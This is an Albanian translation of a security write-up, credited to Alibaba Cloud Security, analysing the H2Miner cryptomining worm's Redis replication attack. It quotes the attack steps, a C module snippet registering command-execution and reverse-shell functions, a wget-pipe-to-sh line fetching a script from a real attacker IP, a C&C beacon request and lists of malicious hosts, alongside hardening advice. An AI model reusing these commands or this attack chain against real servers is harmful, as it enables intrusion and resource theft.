Një ditë më parë, një nga serverët e projektit tim u sulmua nga një worm të ngjashëm. Në kërkim të përgjigjes për pyetjen "çfarë ishte kjo?" gjeta një artikull të shkëlqyer nga ekipi i Sigurisë së Alibaba Cloud. Duke qenë se nuk e gjeta këtë artikull në habr, vendosa ta përkthej veçmas për ju <3
Hyrje
Së fundmi, ekipi i sigurisë së Alibaba Cloud zbuloi një shpërthim të papritur të H2Miner. Ky lloj worm-i keqdashës përdor mungesën e autorizimit ose fjalëkalimet e dobëta për Redis si porte për në sistemet tuaja, pasuar nga sinkronizimi i modulit të tij të keqdashës ndaj slave përmes sinkronizimit master-slave dhe, më në fund, ngarkon këtë modul të keqdashëm në makinën e sulmuar dhe ekzekuton instrukcionet e dëmshëm.
Në të kaluarën, sulmet ndaj sistemeve tuaja kryesisht realizoheshin përmes një metode që përfshinte detyrat e planifikuara ose çelësat SSH, të cilat regjistroheshin në makinën tuaj pas hyrjes së sulmuesit në Redis. Fatmirësisht, kjo metodë nuk përdoret shpesh për shkak të problemeve me kontrollin e lejeve ose për shkak të versioneve të ndryshme të sistemit. Megjithatë, kjo metodë e ngarkimit të modulit të keqdashëm mund të ekzekutojë direkt komandat e sulmuesit ose të fitojë akses në shell, gjë që është e rrezikshme për sistemin tuaj.
Për shkak të numrit të madh të servera Redis, që janë të vendosura në internet (gati 1 milion), ekipi i sigurisë së Alibaba Cloud, si një kujtesë miqësore, rekomandon përdoruesit të mos ofrojnë akses në Redis nga rrjeti dhe të kontrollojnë rregullisht besueshmërinë e fjalëkalimeve të tyre, si dhe nëse ato janë të ekspozuara ndaj thyerjeve të shpejta.
H2Miner
H2Miner është një botnet për minimin e të dhënave për sistemet bazuar në Linux, i cili mund të sulmojë sistemin tuaj në mënyra të ndryshme, duke përfshirë mungesë autorizimi në Hadoop yarn, Docker dhe vulnerabilitetin e ekzekutimit të komandeve të largëta të Redis (RCE). Botnet-i funksionon duke ngarkuar skriptet dhe programet keqdashëse për të minuar të dhënat tuaja, duke zgjeruar horizontalisht sulmin dhe ruajtur komunikimin me komandë dhe kontroll (C&C).
Redis RCE
Dituritë mbi këtë çështje i ndau Pavel Toporkov në ZeroNights 2018. Pas versionit 4.0, Redis mbështet funksionin e ngarkimit të moduleve të jashtme, që u jep përdoruesve mundësinë të ngarkojnë skedarë so, të kompiluar me C në Redis për të ekzekutuar komanda të caktuara Redis. Ky funksion, megjithëse i dobishëm, përmban një vulnerabilitet, ku në modalitetin master-slave skedarët mund të sinkronizohen me slave përmes modalitetit fullresync. Kjo mund të përdoret nga sulmuesit për të dërguar skedarë të keqdashëm so. Pas përfundimit të transferimit, sulmuesit ngarkojnë modul në instancën e sulmuar të Redis dhe ekzekutojnë çdo komandë.
Analiza e worm-it të keqdashëm
Së fundmi, ekipi i sigurisë së Alibaba Cloud zbuloi se numri i grupit të minatorëve të keqdashëm H2Miner papritmas u rrit shumë. Sipas analizës, procesi i përgjithshëm i shpërthimit të sulmit duket kështu:

H2Miner përdor RCE Redis për një sulm të plotë. Fillimisht, sulmuesit sulmojnë serverët Redis të pambrojtur ose serverët me fjalëkalime të dobëta.
Më pas ata përdorin komandën config set dbfilename red2.so për të ndryshuar emrin e skedarit. Pas kësaj, sulmuesit ekzekutojnë komandën slaveof për të vendosur adresën e hostit të replikimit master-slave.
Kur instanca e sulmuar e Redis vendos lidhjen master-slave me Redis-in e keqdashëm që i përket sulmuesit, sulmuesi dërgon modul të infektuar me komandën fullresync për sinkronizimin e skedarëve. Më pas, skedari red2.so do të ngarkohet në makinën e sulmuar. Pas kësaj, sulmuesit përdorin modul ngarkimi ./red2.so për të ngarkuar këtë skedar so. Moduli mund të ekzekutojë komandat e sulmuesit ose të nismojë një lidhje të kthyer (backdoor) për të fituar akses në makinën e sulmuar.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Pas ekzekutimit të komandës keqdashëse, si / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, sulmuesi do të vendosë emrin e skedarit të kopjes dhe do të shkarkojë modul sistemin për të pastruar gjurmët. Megjithatë, skedari red2.so do të mbetet akoma në makinën e sulmuar. Përdoruesve u rekomandohet të kenë kujdes për praninë e një skedari të dyshimtë në dosjen e instancës së tyre Redis.
Përveç shkatërrimit të disa proceseve keqdashëse për të vjedhur burime, sulmuesi ndoqi skenarin keqdashës, duke ngarkuar dhe ekzekutuar skedarë keqdashës në formë binarësh, për të . Kjo do të thotë se emri i procesit ose emri i folderit që përmban kinsing në host mund të tregojë se kjo makinë është infektuar nga ky virus.
Sipas rezultateve të inxhinierisë së inversë, programi i dëmshëm kryesisht kryen funksionet e mëposhtme:
- Shkarkimi dhe ekzekutimi i skedarëve
- Minatorët
- Mbajtja e lidhjes C&C dhe ekzekutimi i urdhrave të sulmuesit

Përdorni masscan për skanimin e jashtëm për të zgjeruar ndikimin. Për më tepër, adresa IP e serverit C&C është e koduar fort brenda programit, dhe hosti i sulmuar do të interaktojë me serverin e komunikimit C&C nëpërmjet kërkesave HTTP, ku informacioni i zombisë (serveri i kompromituar) identifikohet në titullin HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, si Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Metodat e tjera të sulmit

Adresat dhe lidhjet që përdor kyçeri
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
s&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Këshillë
Së pari, Redis nuk duhet të jetë i hapur për qasje nga Interneti dhe duhet të mbrohet me një fjalëkalim të fortë. Gjithashtu, është e rëndësishme që klientët të kontrollojnë mungesën e skedarit red2.so në direktorinë e Redis dhe mungesën e "kinsing" në emrin e skedarit/procesit në host.
Burimi: habr.com
